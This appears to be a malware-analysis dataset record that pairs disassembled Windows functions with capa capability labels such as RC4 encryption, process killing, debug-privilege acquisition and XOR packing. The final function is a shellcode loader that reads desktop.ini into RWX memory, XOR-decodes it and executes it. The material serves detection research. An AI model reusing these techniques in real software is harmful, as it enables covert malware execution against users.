joyce8/EMBER2024-capa huggingface dataset:
Function at 0x404010
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0xc]
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x40402b
pop edi
pop ebx
pop ebp
ret
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x404062
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [ebp + 0x10]
add eax, esi
and ecx, 0xf
jbe 0x40405e
jmp 0x404050
cmp esi, eax
jae 0x404062
dec ecx
movzx edx, word [esi]
lea esi, [esi + edx*2 + 2]
jne 0x404050
cmp esi, eax
jb 0x404069
pop esi
pop edi
xor eax, eax
pop ebx
pop ebp
ret
movzx eax, word [esi]
neg eax
sbb eax, eax
and eax, esi
pop esi
pop edi
pop ebx
pop ebp
ret

Function at 0x404b40
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
xor eax, eax
push esi
push edi
cmp dword [ebp + 8], eax
je 0x404c0e
cmp dword [ebp + 0xc], eax
je 0x404c0e
cmp dword [ebp + 0x14], eax
jl 0x404c0e
jg 0x404b6f
cmp dword [ebp + 0x10], eax
jbe 0x404c0e
xor edi, edi
xor ebx, ebx
mov edx, dword [ecx]
inc edx
and edx, 0x800000ff
jns 0x404b86
dec edx
or edx, 0xffffff00
inc edx
mov dword [ecx], edx
movzx esi, byte [ecx + edx + 8]
add esi, dword [ecx + 4]
and esi, 0x800000ff
jns 0x404ba0
dec esi
or esi, 0xffffff00
inc esi
mov dword [ecx + 4], esi
movzx eax, byte [ecx + edx + 8]
mov byte [ebp - 1], al
movzx eax, byte [esi + ecx + 8]
mov byte [ecx + edx + 8], al
movzx eax, byte [ebp - 1]
mov edx, dword [ecx + 4]
mov byte [edx + ecx + 8], al
mov edx, dword [ecx + 4]
movzx eax, byte [edx + ecx + 8]
mov edx, dword [ecx]
movzx edx, byte [edx + ecx + 8]
add eax, edx
and eax, 0x800000ff
jns 0x404bde
dec eax
or eax, 0xffffff00
inc eax
movzx eax, byte [eax + ecx + 8]
mov edx, dword [ebp + 8]
xor al, byte [edi + edx]
mov edx, dword [ebp + 0xc]
mov byte [edi + edx], al
add edi, 1
adc ebx, 0
cmp ebx, dword [ebp + 0x14]
jl 0x404b73
jg 0x404c09
cmp edi, dword [ebp + 0x10]
jb 0x404b73
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10

Function at 0x405890
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push pe_nt_image_headers32
mov dword [ebp - 4], 0
call fcn.0042d123
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
add esp, 4
mov esi, eax
mov eax, dword [ebp + 8]
push eax
push pe_nt_image_headers32
push esi
push 0x449a0c
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
push esi
mov ecx, edi
call fcn.00404210
push esi
call fcn.0042cbaa
add esp, 4
mov eax, edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x405990
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x440a3b
mov eax, dword fs:[0]
push eax
sub esp, 0x13c
mov eax, dword [0x4557ec]
xor eax, esp
mov dword [esp + 0x134], eax
push esi
push edi
mov eax, dword [0x4557ec]
xor eax, esp
push eax
lea eax, [esp + 0x148]
mov dword fs:[0], eax
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
lea ecx, [esp + 0x14]
push ecx
push eax
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], 0x128
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x405b1d
call fcn.00410c36
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
je 0x405ad2
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
lea esi, [eax + 0x10]
mov dword [esp + 0xc], esi
lea ecx, [esp + 0x38]
mov dword [esp + 0x150], 0
test ecx, 0xffff0000
jne 0x405a50
mov edx, ecx
movzx edi, dx
push edi
call fcn.0041117a
test eax, eax
je 0x405a73
push edi
push eax
lea ecx, [esp + 0x14]
call fcn.00404110
jmp 0x405a6f
lea eax, [esp + 0x38]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x405a57
sub eax, edx
push eax
lea eax, [esp + 0x3c]
push eax
lea ecx, [esp + 0x14]
call fcn.00401c20
mov esi, dword [esp + 0xc]
mov dword [esp + 0x150], 0xffffffff
cmp dword [esi - 0xc], 0
jl 0x405a9a
push str.auncher
push esi
call fcn.0042cf01
add esp, 8
test eax, eax
je 0x405a9a
sub eax, esi
jns 0x405adc
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x14]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_Process32Next]
mov edi, eax
lea eax, [esi - 0x10]
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x405ac8
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
test edi, edi
jne 0x4059f9
jmp 0x405b1d
push 0x80004005
call fcn.00401bd0
mov ecx, dword [esp + 0x1c]
push ecx
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
test edi, edi
je 0x405b01
push 0
push edi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [esi - 0x10]
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x405b1d
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x148]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [esp + 0x134]
xor ecx, esp
call fcn.0042c37c
mov esp, ebp
pop ebp
ret
Function at 0x4062c0
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x4557ec]
xor eax, ebp
mov dword [ebp - 4], eax
lea eax, [ebp - 0x18]
push eax
push 0x20
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x406335
lea ecx, [ebp - 0x10]
push ecx
push str.SeDebugPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
mov eax, dword [ebp - 0x18]
push 0
push 0
push 0x10
lea edx, [ebp - 0x14]
push edx
push 0
push eax
mov dword [ebp - 0x14], 1
mov dword [ebp - 8], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
call dword [sym.imp.KERNEL32.dll_GetLastError]
neg eax
sbb eax, eax
inc eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0042c37c
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor ecx, ebp
xor eax, eax
call fcn.0042c37c
mov esp, ebp
pop ebp
ret

Function at 0x406b10
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push 0x4498a0
lea eax, [ebp - 4]
push 0x45be80
push eax
call fcn.004093c0
mov eax, dword [eax]
add esp, 0xc
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
mov eax, dword [ebp - 4]
sete bl
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x406b58
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
test bl, bl
pop ebx
jne 0x406ba0
push 0x4498a0
lea ecx, [ebp - 4]
push 0x45be80
push ecx
call fcn.004093c0
mov eax, dword [eax]
add esp, 0xc
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [0x45bc10], eax
mov eax, dword [ebp - 4]
add eax, 0xfffffff0
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x406ba0
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov esp, ebp
pop ebp
ret
Function at 0x406e40
Capabilities:
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x228
mov eax, dword [0x4557ec]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push esi
test eax, eax
je 0x406ea4
push eax
push 8
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
cmp esi, 0xffffffff
je 0x406ea4
push 0x224
lea eax, [ebp - 0x228]
push 0
push eax
call fcn.0042dbf0
add esp, 0xc
lea ecx, [ebp - 0x228]
push ecx
push esi
mov dword [ebp - 0x228], 0x224
call dword [sym.imp.KERNEL32.dll_Module32First]
test eax, eax
jne 0x406eb5
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0042c37c
mov esp, ebp
pop ebp
ret
push ebx
push edi
mov edi, dword [sym.imp.KERNEL32.dll_Module32Next]
xor ebx, ebx
nop
mov ecx, 0x4498a0
lea eax, [ebp - 0x208]
jmp 0x406ed0
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x406ef0
test dl, dl
je 0x406eec
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x406ef0
add eax, 2
add ecx, 2
test dl, dl
jne 0x406ed0
xor eax, eax
jmp 0x406ef5
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x406f09
lea edx, [ebp - 0x228]
push edx
push esi
call edi
test eax, eax
jne 0x406ec0
jmp 0x406f0e
mov ebx, 1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
test ebx, ebx
pop ebx
je 0x406ea4
mov ecx, dword [ebp - 4]
xor ecx, ebp
mov eax, 1
pop esi
call fcn.0042c37c
mov esp, ebp
pop ebp
ret

Function at 0x4076f0
Capabilities:
Enumerate gui resources
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x220
mov eax, dword [0x4557ec]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
xor esi, esi
push esi
push esi
mov ebx, ecx
mov eax, dword [ebx + 0x4d8]
push 0x14b
push eax
call dword [sym.imp.USER32.dll_SendMessageA]
lea ecx, [ebp - 0x220]
push ecx
push 0x4058e0
mov dword [0x459a04], esi
mov dword [0x459a00], 0x80
call dword [sym.imp.USER32.dll_EnumWindows]
mov eax, dword [0x459a04]
mov dword [ebp - 0x20], eax
cmp eax, esi
jbe 0x407797
push edi
lea esp, [esp]
mov edi, dword [ebp + esi*4 - 0x220]
push 0x18
lea edx, [ebp - 0x1c]
push edx
push edi
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [ebx + 0x4d8]
lea eax, [ebp - 0x1c]
push eax
push 0
push 0x143
push ecx
call dword [sym.imp.USER32.dll_SendMessageA]
mov edx, dword [ebx + 0x4d8]
push edi
push eax
push 0x151
push edx
call dword [sym.imp.USER32.dll_SendMessageA]
inc esi
cmp esi, dword [ebp - 0x20]
jb 0x407750
pop edi
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.0042c37c
mov esp, ebp
pop ebp
ret
Function at 0x4091a0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x440278
mov eax, dword fs:[0]
push eax
sub esp, 8
push ebx
push esi
mov eax, dword [0x4557ec]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
cmp dword [0x45bc30], 0
je 0x4091ec
push 1
push 0x44a078
push 0x44a080
call fcn.0040be33
cmp eax, 1
jne 0x40929b
push 1
mov ecx, esi
call fcn.00417f3f
push str.update_
lea eax, [ebp - 0x14]
push 0x45be80
push eax
call fcn.004093c0
mov esi, eax
push str.updateupdate.exe
lea ecx, [ebp - 0x10]
push 0x45be80
push ecx
mov dword [ebp - 4], 0
call fcn.004093c0
mov esi, dword [esi]
mov eax, dword [eax]
add esp, 0x18
push 5
push esi
push 0
push eax
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp eax, 0x20
mov eax, dword [ebp - 0x10]
setl bl
add eax, 0xfffffff0
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x409263
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x14]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x409289
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
test bl, bl
je 0x40929b
push 0
push 0x30
push 0x449cf8
call fcn.00411fc2
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x40fc57
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor ebx, ebx
xor edi, edi
mov dword [ebp - 4], ecx
cmp dword [ebp + 8], ebx
je 0x40fc9e
call fcn.00409fa1
mov esi, dword [eax + 0xc]
push 0xf0
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
je 0x40fc9e
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebx, eax
test ebx, ebx
je 0x40fcba
push ebx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
mov ecx, dword [ebp - 4]
push edi
call fcn.0040f75c
mov esi, eax
test edi, edi
je 0x40fcb8
test ebx, ebx
je 0x40fcb8
push ebx
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x412ccf
Capabilities:
Get graphical window text

Disassembly:
push 4
mov eax, 0x43ea5e
call fcn.0042dadf
mov esi, ecx
cmp dword [esi + 0x6c], 0
jne 0x412cf4
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [esi + 0x20]
call dword [sym.imp.USER32.dll_GetWindowTextA]
jmp 0x412d46
call fcn.00410c36
push eax
lea ecx, [ebp - 0x10]
call fcn.00401960
mov ecx, dword [esi + 0x6c]
mov eax, dword [ecx]
and dword [ebp - 4], 0
lea edx, [ebp - 0x10]
push edx
call dword [eax + 0x8c]
push 0xffffffffffffffff
push dword [ebp - 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.0042cf35
push eax
call fcn.00403850
add esp, 0x14
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, dword [ebp - 0x10]
add ecx, 0xfffffff0
mov esi, eax
call fcn.00401a40
mov eax, esi
call fcn.0042dbb7
ret 8
Function at 0x415dc1
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x120
mov eax, dword [0x4557ec]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [ebp + 0xc], 0x800
mov eax, dword [ebp + 8]
push esi
mov dword [ebp - 0x11c], eax
mov esi, ecx
lea eax, [ebp - 0x120]
jne 0x415e09
push 0x444608
push 4
push eax
call fcn.0042d46d
push eax
call fcn.00403850
add esp, 0x10
jmp 0x415e1f
push 4
push eax
push 3
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
test eax, eax
je 0x415ea2
push edi
call fcn.0042dfa0
mov edi, dword [eax]
call fcn.0042dfa0
and dword [eax], 0
lea eax, [ebp - 0x120]
push eax
push dword [ebp - 0x11c]
lea eax, [ebp - 0x118]
push esi
push 0x111
mov esi, 0x112
push esi
push eax
call fcn.0042cf70
add esp, 0x18
mov dword [ebp - 0x11c], eax
call fcn.0042dfa0
cmp dword [eax], 0
je 0x415e76
call fcn.0042dfa0
push dword [eax]
call fcn.0040a024
pop ecx
jmp 0x415e7d
call fcn.0042dfa0
mov dword [eax], edi
cmp dword [ebp - 0x11c], 0xffffffff
pop edi
je 0x415ea2
cmp dword [ebp - 0x11c], esi
jae 0x415ea2
push 0
push 0
lea eax, [ebp - 0x118]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
jmp 0x415ea4
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.0042c37c
leave
ret
Function at 0x415eb1
Capabilities:
Identify system language via api

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x144
mov eax, dword [0x4557ec]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
mov dword [ebp - 0x144], eax
mov eax, dword [ebp + 0xc]
push edi
push str.KERNEL32.DLL
mov dword [ebp - 0x13c], eax
xor esi, esi
call fcn.00403980
pop ecx
cmp eax, esi
je 0x415f9b
push str.GetThreadPreferredUILanguages
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
cmp edi, esi
je 0x415f9b
xor eax, eax
push 0xc8
mov word [ebp - 0xd0], ax
lea eax, [ebp - 0xce]
push esi
push eax
mov dword [ebp - 0x140], esi
call fcn.0042dbf0
add esp, 0xc
lea eax, [ebp - 0x138]
push eax
lea eax, [ebp - 0xd0]
push eax
lea eax, [ebp - 0x140]
push eax
push 0x34
mov dword [ebp - 0x138], 0x65
call edi
test eax, eax
je 0x415f9b
lea edi, [ebp - 0xd0]
cmp word [ebp - 0xd0], si
je 0x415f9b
cmp esi, 0x14
jge 0x415f9b
push 0x10
push 0
push edi
call fcn.004304d6
mov ebx, eax
add esp, 0xc
test ebx, ebx
je 0x415f8a
call fcn.0042dfa0
cmp dword [eax], 0x22
je 0x415f8a
mov dword [ebp + esi*4 - 0x134], ebx
inc esi
push edi
call fcn.0042e0aa
lea edi, [edi + eax*2 + 2]
cmp word [edi], 0
pop ecx
jne 0x415f60
call dword [sym.imp.KERNEL32.dll_GetUserDefaultUILanguage]
mov edi, dword [sym.imp.KERNEL32.dll_ConvertDefaultLocale]
movzx eax, ax
mov ecx, eax
and ecx, 0x3ff
mov ebx, 0xfc00
and eax, ebx
or eax, ecx
push eax
mov dword [ebp - 0x138], ecx
call edi
push dword [ebp - 0x138]
mov dword [ebp + esi*4 - 0x134], eax
call edi
mov dword [ebp + esi*4 - 0x130], eax
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultUILanguage]
movzx eax, ax
mov ecx, eax
and ecx, 0x3ff
and eax, ebx
or eax, ecx
push eax
mov dword [ebp - 0x138], ecx
call edi
push dword [ebp - 0x138]
mov dword [ebp + esi*4 - 0x12c], eax
call edi
mov dword [ebp + esi*4 - 0x128], eax
add esi, 4
cmp dword [0x458918], 0
jne 0x416026
mov dword [ebp + esi*4 - 0x134], 0x800
inc esi
xor edi, edi
test esi, esi
jle 0x41604f
push dword [ebp + edi*4 - 0x134]
mov ecx, dword [ebp - 0x144]
push dword [ebp - 0x13c]
call fcn.00415dc1
pop ecx
pop ecx
test eax, eax
jne 0x416051
inc edi
cmp edi, esi
jl 0x41602c
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0042c37c
leave
ret 8
Function at 0x416d03
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
xor ebx, ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 4], ebx
cmp dword [ebp + 0xc], ebx
je 0x416d4b
call fcn.00409fa1
mov esi, dword [eax + 0xc]
push 0xf0
push dword [ebp + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
je 0x416d4b
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 4], eax
test eax, eax
je 0x416d8e
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
mov esi, dword [ebp + 8]
mov dword [ebp + 0xc], 1
test ebx, ebx
je 0x416d77
push dword [ebp + 0x10]
mov eax, dword [edi]
push ebx
push esi
mov ecx, edi
call dword [eax + 0x20]
cmp dword [ebp - 4], 0
mov dword [ebp + 0xc], eax
je 0x416d77
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FreeResource]
cmp dword [esi + 0x68], 0
je 0x416d8b
mov ecx, dword [esi + 0x68]
push dword [ebp + 0x10]
mov eax, dword [ecx]
call dword [eax + 0xa0]
mov eax, dword [ebp + 0xc]
pop edi
pop esi
pop ebx
leave
ret 0xc

Function at 0x41889f
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, ecx
mov dword [edi + 0x78], ebx
test ebx, 0xffff0000
jne 0x4188c3
cmp dword [edi + 0x74], 0
jne 0x4188c3
movzx eax, bx
mov dword [edi + 0x74], eax
call fcn.00409fa1
mov esi, dword [eax + 0xc]
push 5
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push dword [ebp + 0xc]
mov ebx, eax
push ebx
mov ecx, edi
call fcn.00418860
push ebx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
mov eax, esi
pop esi
pop ebx
pop ebp
ret 8
Function at 0x42c37c
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4557ec]
jne 0x42c386
repz ret
jmp fcn.00431697

Function at 0x43b174
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x4557ec]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00432a1e
and dword [ebp - 0x14], 0
cmp dword [0x45999c], 0
mov dword [ebp - 0x18], eax
jne 0x43b227
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x43b2cf
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x43b2cf
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push 0x44841c
push ebx
mov dword [0x45999c], eax
call edi
push eax
call esi
push 0x448408
push ebx
mov dword [0x4599a0], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x4599a4], eax
call edi
push eax
call esi
mov dword [0x4599ac], eax
test eax, eax
je 0x43b227
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x4599a8], eax
mov eax, dword [0x4599a8]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x43b280
cmp dword [0x4599ac], ecx
je 0x43b280
push eax
call esi
push dword [0x4599ac]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x43b280
test ebx, ebx
je 0x43b280
call edi
test eax, eax
je 0x43b277
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x43b277
test byte [ebp - 8], 1
jne 0x43b280
or dword [ebp + 0x10], 0x200000
jmp 0x43b2b3
mov eax, dword [0x4599a0]
cmp eax, dword [ebp - 0x18]
je 0x43b2b3
push eax
call esi
test eax, eax
je 0x43b2b3
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x43b2b3
mov eax, dword [0x4599a4]
cmp eax, dword [ebp - 0x18]
je 0x43b2b3
push eax
call esi
test eax, eax
je 0x43b2b3
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x45999c]
call esi
test eax, eax
je 0x43b2cf
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x43b2d1
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0042c37c
leave
ret
Function at 0x98a68c
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
xor esi, esi
cmp dword [ebp + 8], esi
jne 0x98a6b3
call fcn.0092cbf8
mov dword [eax], esi
call fcn.0092cbe5
push 0x16
pop esi
mov dword [eax], esi
call fcn.0092d83a
mov eax, esi
jmp 0x98a708
test dword [ebp + 0xc], 0xfffffff9
jne 0x98a699
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x98a6e0
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.0092cc0b
pop ecx
call fcn.0092cbe5
mov eax, dword [eax]
jmp 0x98a708
test al, 0x10
jne 0x98a706
test al, 1
je 0x98a706
test byte [ebp + 0xc], 2
je 0x98a706
call fcn.0092cbf8
mov dword [eax], 5
call fcn.0092cbe5
mov dword [eax], 0xd
jmp 0x98a6d7
xor eax, eax
pop esi
pop ebp
ret

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x408f6c
nop
nop
mov ecx, 0xdd8109c
nop
nop
test eax, eax
nop
nop
nop
je 0x43004e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x430024
nop
nop
nop
mov eax, section..data
mov ebx, 0x42e3d0
nop
mov ecx, 0x2eff0020
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x430084
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x43006c
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x401219

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10